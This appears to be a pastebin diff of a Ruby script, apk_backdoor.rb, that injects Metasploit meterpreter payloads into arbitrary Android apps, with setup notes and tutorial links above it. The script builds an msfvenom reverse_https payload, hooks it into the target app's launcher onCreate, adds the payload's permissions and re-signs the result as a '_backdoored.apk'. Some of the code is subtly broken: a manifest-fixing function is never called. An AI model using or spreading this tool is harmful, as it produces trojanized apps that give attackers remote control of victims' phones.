SHOW:
|
|
- or go back to the newest paste.
| 1 | # HOW TO USE | |
| 2 | # Your dependencies may not have been in order resulting in a broken payload. Please, follow along by building a developer environment alike this video. Install Debian 8.2 from the Live XFCE dvd. Continue by installing the dependencies found on the cheat sheet in http://pischool.com . | |
| 3 | ||
| 4 | # STEP #1: (follow these steps->) https://pastebin.com/y7SCd4tq | |
| 5 | # STEP #2: (follow VIDEO TUT->) https://www.youtube.com/watch?v=uytuVP8f-54&ab_channel=JohnSilvaggio | |
| 6 | - | # |
| 6 | + | # Github --infos: https://github.com/Jack64/metasploit-framework/pull/3 |
| 7 | ||
| 8 | # ------------ SCRIPT BELOW ------------ | |
| 9 | #!/usr/bin/env ruby | |
| 10 | # apk_backdoor.rb | |
| 11 | # This script is a POC for injecting metasploit payloads on | |
| 12 | # arbitrary APKs. | |
| 13 | # Authored by timwr, Jack64 | |
| 14 | ||
| 15 | ||
| 16 | require 'nokogiri' | |
| 17 | require 'fileutils' | |
| 18 | require 'optparse' | |
| 19 | ||
| 20 | # Find the activity thatapk_backdoor.rb is opened when you click the app icon | |
| 21 | def findlauncheractivity(amanifest) | |
| 22 | package = amanifest.xpath("//manifest").first['package']
| |
| 23 | activities = amanifest.xpath("//activity|//activity-alias")
| |
| 24 | for activity in activities | |
| 25 | activityname = activity.attribute("name")
| |
| 26 | category = activity.search('category')
| |
| 27 | unless category | |
| 28 | next | |
| 29 | end | |
| 30 | for cat in category | |
| 31 | categoryname = cat.attribute('name')
| |
| 32 | if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') | |
| 33 | activityname = activityname.to_s | |
| 34 | unless activityname.start_with?(package) | |
| 35 | activityname = package + activityname | |
| 36 | end | |
| 37 | return activityname | |
| 38 | end | |
| 39 | end | |
| 40 | end | |
| 41 | end | |
| 42 | ||
| 43 | # If XML parsing of the manifest fails, recursively search | |
| 44 | # the smali code for the onCreate() hook and let the user | |
| 45 | # pick the injection point | |
| 46 | def scrapeFilesForLauncherActivity() | |
| 47 | smali_files||=[] | |
| 48 | Dir.glob('original/smali*/**/*.smali') do |file|
| |
| 49 | checkFile=File.read(file) | |
| 50 | if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") | |
| 51 | smali_files << file | |
| 52 | smalifile = file | |
| 53 | activitysmali = checkFile | |
| 54 | end | |
| 55 | end | |
| 56 | i=0 | |
| 57 | print "[*] Please choose from one of the following:\n" | |
| 58 | smali_files.each{|s_file|
| |
| 59 | print "[+] Hook point ",i,": ",s_file,"\n" | |
| 60 | i+=1 | |
| 61 | } | |
| 62 | hook=-1 | |
| 63 | while (hook < 0 || hook>i) | |
| 64 | print "\nHook: " | |
| 65 | hook = STDIN.gets.chomp.to_i | |
| 66 | end | |
| 67 | i=0 | |
| 68 | smalifile="" | |
| 69 | activitysmali="" | |
| 70 | smali_files.each{|s_file|
| |
| 71 | if (i==hook) | |
| 72 | checkFile=File.read(s_file) | |
| 73 | smalifile=s_file | |
| 74 | activitysmali = checkFile | |
| 75 | break | |
| 76 | end | |
| 77 | i+=1 | |
| 78 | } | |
| 79 | return [smalifile,activitysmali] | |
| 80 | end | |
| 81 | ||
| 82 | def fix_manifest() | |
| 83 | payload_permissions=[] | |
| 84 | ||
| 85 | #Load payload's permissions | |
| 86 | File.open("payload/AndroidManifest.xml","r"){|file|
| |
| 87 | k=File.read(file) | |
| 88 | payload_manifest=Nokogiri::XML(k) | |
| 89 | permissions = payload_manifest.xpath("//manifest/uses-permission")
| |
| 90 | for permission in permissions | |
| 91 | name=permission.attribute("name")
| |
| 92 | payload_permissions << name.to_s | |
| 93 | end | |
| 94 | # print "#{k}"
| |
| 95 | } | |
| 96 | original_permissions=[] | |
| 97 | apk_mani='' | |
| 98 | ||
| 99 | #Load original apk's permissions | |
| 100 | File.open("original/AndroidManifest.xml","r"){|file2|
| |
| 101 | k=File.read(file2) | |
| 102 | apk_mani=k | |
| 103 | original_manifest=Nokogiri::XML(k) | |
| 104 | permissions = original_manifest.xpath("//manifest/uses-permission")
| |
| 105 | for permission in permissions | |
| 106 | name=permission.attribute("name")
| |
| 107 | original_permissions << name.to_s | |
| 108 | end | |
| 109 | # print "#{k}"
| |
| 110 | } | |
| 111 | #Get permissions that are not in original APK | |
| 112 | add_permissions=[] | |
| 113 | for permission in payload_permissions | |
| 114 | if !(original_permissions.include? permission) | |
| 115 | print "[*] Adding #{permission}\n"
| |
| 116 | add_permissions << permission | |
| 117 | end | |
| 118 | end | |
| 119 | inject=0 | |
| 120 | new_mani="" | |
| 121 | #Inject permissions in original APK's manifest | |
| 122 | for line in apk_mani.split("\n")
| |
| 123 | if (line.include? "uses-permission" and inject==0) | |
| 124 | for permission in add_permissions | |
| 125 | new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n" | |
| 126 | end | |
| 127 | new_mani << line+"\n" | |
| 128 | inject=1 | |
| 129 | else | |
| 130 | new_mani << line+"\n" | |
| 131 | end | |
| 132 | end | |
| 133 | File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
| |
| 134 | end | |
| 135 | ||
| 136 | apkfile = ARGV[0] | |
| 137 | unless(apkfile && File.readable?(apkfile)) | |
| 138 | puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
| |
| 139 | puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
| |
| 140 | exit(1) | |
| 141 | end | |
| 142 | ||
| 143 | jarsigner = `which jarsigner` | |
| 144 | unless(jarsigner && jarsigner.length > 0) | |
| 145 | puts "No jarsigner" | |
| 146 | exit(1) | |
| 147 | end | |
| 148 | ||
| 149 | apktool = `which apktool` | |
| 150 | unless(apktool && apktool.length > 0) | |
| 151 | puts "No apktool" | |
| 152 | exit(1) | |
| 153 | end | |
| 154 | ||
| 155 | apk_v=`apktool` | |
| 156 | unless(apk_v.split()[1].include?("v2."))
| |
| 157 | puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
| |
| 158 | exit(1) | |
| 159 | end | |
| 160 | ||
| 161 | begin | |
| 162 | msfvenom_opts = ARGV[1,ARGV.length] | |
| 163 | opts="" | |
| 164 | msfvenom_opts.each{|x|
| |
| 165 | opts+=x | |
| 166 | opts+=" " | |
| 167 | } | |
| 168 | rescue | |
| 169 | puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
| |
| 170 | puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
| |
| 171 | puts "[-] Error parsing msfvenom options. Exiting.\n" | |
| 172 | exit(1) | |
| 173 | end | |
| 174 | ||
| 175 | ||
| 176 | ||
| 177 | print "[*] Generating msfvenom payload..\n" | |
| 178 | res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
| |
| 179 | if res.downcase.include?("invalid" || "error")
| |
| 180 | puts res | |
| 181 | exit(1) | |
| 182 | end | |
| 183 | ||
| 184 | print "[*] Signing payload..\n" | |
| 185 | `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` | |
| 186 | ||
| 187 | `rm -rf original` | |
| 188 | `rm -rf payload` | |
| 189 | ||
| 190 | `cp #{apkfile} original.apk`
| |
| 191 | ||
| 192 | print "[*] Decompiling orignal APK..\n" | |
| 193 | `apktool d $(pwd)/original.apk -o $(pwd)/original` | |
| 194 | print "[*] Decompiling payload APK..\n" | |
| 195 | `apktool d $(pwd)/payload.apk -o $(pwd)/payload` | |
| 196 | ||
| 197 | f = File.open("original/AndroidManifest.xml")
| |
| 198 | amanifest = Nokogiri::XML(f) | |
| 199 | f.close | |
| 200 | ||
| 201 | print "[*] Locating onCreate() hook..\n" | |
| 202 | ||
| 203 | ||
| 204 | launcheractivity = findlauncheractivity(amanifest) | |
| 205 | smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' | |
| 206 | begin | |
| 207 | activitysmali = File.read(smalifile) | |
| 208 | rescue Errno::ENOENT | |
| 209 | print "[!] Unable to find correct hook automatically\n" | |
| 210 | begin | |
| 211 | results=scrapeFilesForLauncherActivity() | |
| 212 | smalifile=results[0] | |
| 213 | activitysmali=results[1] | |
| 214 | rescue | |
| 215 | puts "[-] Error finding launcher activity. Exiting" | |
| 216 | exit(1) | |
| 217 | end | |
| 218 | end | |
| 219 | ||
| 220 | print "[*] Copying payload files..\n" | |
| 221 | FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
| |
| 222 | FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
| |
| 223 | activitycreate = ';->onCreate(Landroid/os/Bundle;)V' | |
| 224 | payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
| |
| 225 | hookedsmali = activitysmali.gsub(activitycreate, payloadhook) | |
| 226 | print "[*] Loading ",smalifile," and injecting payload..\n" | |
| 227 | File.open(smalifile, "w") {|file| file.puts hookedsmali }
| |
| 228 | injected_apk=apkfile.split(".")[0]
| |
| 229 | injected_apk+="_backdoored.apk" | |
| 230 | ||
| 231 | print "[*] Poisoning the manifest with meterpreter permissions..\n" | |
| 232 | - | puts "[+] Infected file #{injected_apk} ready.\n" |
| 232 | + | |
| 233 | ||
| 234 | print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
| |
| 235 | `apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
| |
| 236 | print "[*] Signing #{injected_apk} ..\n"
| |
| 237 | `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey`
| |
| 238 | ||
| 239 | puts "[+] Infected file #{injected_apk} ready.\n"
| |
| 240 | # ------------ SCRIPT ABOVE ------------ | |
| 241 | # SRC: http://pastebin.com/dc2LEQJ5 |